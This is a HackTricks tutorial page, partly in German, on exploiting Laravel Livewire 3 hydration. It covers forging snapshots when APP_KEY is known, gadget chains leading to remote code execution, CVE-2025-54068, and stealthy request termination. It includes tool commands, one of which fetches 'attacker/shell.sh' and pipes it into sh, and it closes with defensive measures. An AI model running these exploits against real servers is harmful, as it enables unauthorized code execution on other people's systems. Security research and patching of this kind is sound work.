Laravel Livewire Hydration & Synthesizer Abuse

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung der Livewire-Zustandsmaschine

Livewire 3 Komponenten tauschen ihren Zustand über Snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert das JSON-Snapshot serverseitig und führt die wartenden calls/updates aus.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Jeder, der APP_KEY besitzt (das zur Ableitung von $hashKey verwendet wird), kann daher beliebige Snapshots fälschen, indem er die HMAC neu berechnet.

Komplexe Eigenschaften werden als synthetische Tupel codiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tupel ist [value, {"s":"<key>", ...meta}]. Der Hydration-Kern delegiert einfach jedes Tupel an den Synth, der in HandleComponents::$propertySynthesizers ausgewählt ist, und rekursiert über die Kinder:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Das Tool parst den erfassten Snapshot, injiziert die Gadget-Tupel, berechnet die Prüfsumme neu und gibt eine versandfertige /livewire/update-Payload aus.

CVE-2025-54068 – RCE ohne APP_KEY

updates werden in den Komponenten-Zustand gemerged nachdem die Snapshot-Prüfsumme validiert wurde. Wenn eine Eigenschaft im Snapshot ein synthetisches Tupel ist (oder dazu wird), verwendet Livewire dessen Meta erneut, während es den vom Angreifer kontrollierten Update-Wert hydriert:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit-Rezept:

  1. Finde eine Livewire-Komponente mit einer ungetypten öffentlichen Eigenschaft (z. B. public $count;).
  2. Sende ein Update, das diese Eigenschaft auf [] setzt. Der nächste Snapshot speichert sie dann als [[], {"s": "arr"}].
  3. Erzeuge ein weiteres updates-Payload, in dem diese Eigenschaft ein tief verschachteltes Array enthält, das Tupel wie [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] einbettet.
  4. Während der Rekursion wertet hydrate() jedes verschachtelte Child unabhängig aus, daher werden vom Angreifer gewählte Synth-Keys/-Klassen berücksichtigt, selbst wenn das äußere Tupel und die Checksum nie geändert wurden.
  5. Verwende dieselben CollectionSynth/FormObjectSynth-Primitive, um ein Queueable-Gadget zu instanziieren, dessen $chained[0] die phpggc-Payload enthält. Livewire verarbeitet die gefälschten updates, ruft dispatchNextJobInChain() auf und erreicht system(<cmd>), ohne den APP_KEY zu kennen.

Hauptgründe, warum das funktioniert:

  • updates werden nicht durch die Snapshot-Checksum abgedeckt.
  • getMetaForPath() vertraut auf die Synth-Metadaten, die bereits für diese Eigenschaft existierten, selbst wenn ein Angreifer sie zuvor durch schwache Typisierung in ein Tupel gezwungen hat.
  • Rekursion plus schwache Typisierung lässt jedes verschachtelte Array als ein neues Tupel interpretiert werden, sodass beliebige Synth-Keys und Klassen schließlich die Hydration erreichen.

Livepyre – End-to-End-Ausnutzung

Livepyre automatisiert sowohl die APP_KEY-losen CVE als auch den signed-snapshot-Pfad:

  • Ermittelt die eingesetzte Livewire-Version, indem es <script src="/livewire/livewire.js?id=HASH"> parst und den Hash auf verwundbare Releases abbildet.
  • Sammelt Basis-Snapshots, indem es harmlose Aktionen wiedergibt und components[].snapshot extrahiert.
  • Erzeugt entweder ein reines updates-Payload (CVE-2025-54068) oder einen gefälschten Snapshot (bekannter APP_KEY) mit eingebetteter phpggc-Kette.

Typische Verwendung:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check führt eine nicht-destruktive Prüfung aus, -F überspringt das Version-Gating, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die php-Funktion an, die von der gadget chain aufgerufen wird.

Defensive Maßnahmen

  • Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.
  • Vermeide schwach typisierte public properties in Livewire-Komponenten; explizite scalar types verhindern, dass Property-Werte in arrays/tuples gezwungen werden.
  • Registriere nur die synthesizers, die du wirklich brauchst, und behandle user-controlled metadata ($meta['class']) als untrusted.
  • Verwerfe Updates, die den JSON-Typ einer Property ändern (z. B. scalar -> array), sofern nicht explizit erlaubt, und leite synth metadata neu ab, anstatt veraltete tuples wiederzuverwenden.
  • Rotiere APP_KEY umgehend nach jeder Offenlegung, da er offline snapshot forging ermöglicht, egal wie gepatcht die Code-Basis ist.

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks